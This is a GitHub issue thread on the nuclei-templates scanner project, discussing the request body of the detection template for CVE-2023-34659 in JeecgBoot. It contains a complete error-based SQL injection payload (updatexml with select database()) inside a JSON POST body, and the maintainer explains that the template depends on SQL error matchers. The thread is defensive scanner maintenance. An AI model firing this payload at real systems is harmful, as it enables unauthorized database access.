nuclei-templates
nuclei-templates copied to clipboard
CVE-2023-34659 Exp change wanted
https://github.com/projectdiscovery/nuclei-templates/blame/68d09a4eb0c155b00a53e1e99d1fb077d14425bf/http/cves/2023/CVE-2023-34659.yaml#L39C1-L40C1
Considering a valid JSON format, the POST_body should be
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}
See https://github.com/jeecgboot/jeecg-boot/issues/4976
Hello, @hi-unc1e. Thank you for suggesting changes to the template. However, I noticed that the third image from the provided reference uses the version()
in the payload, which is the same as in the template. Furthermore, adding database()
or version()
will not impact the template because it depends entirely on SQL error matchers.
Closing this issue due to inactivity. Feel free to reopen it if you have more information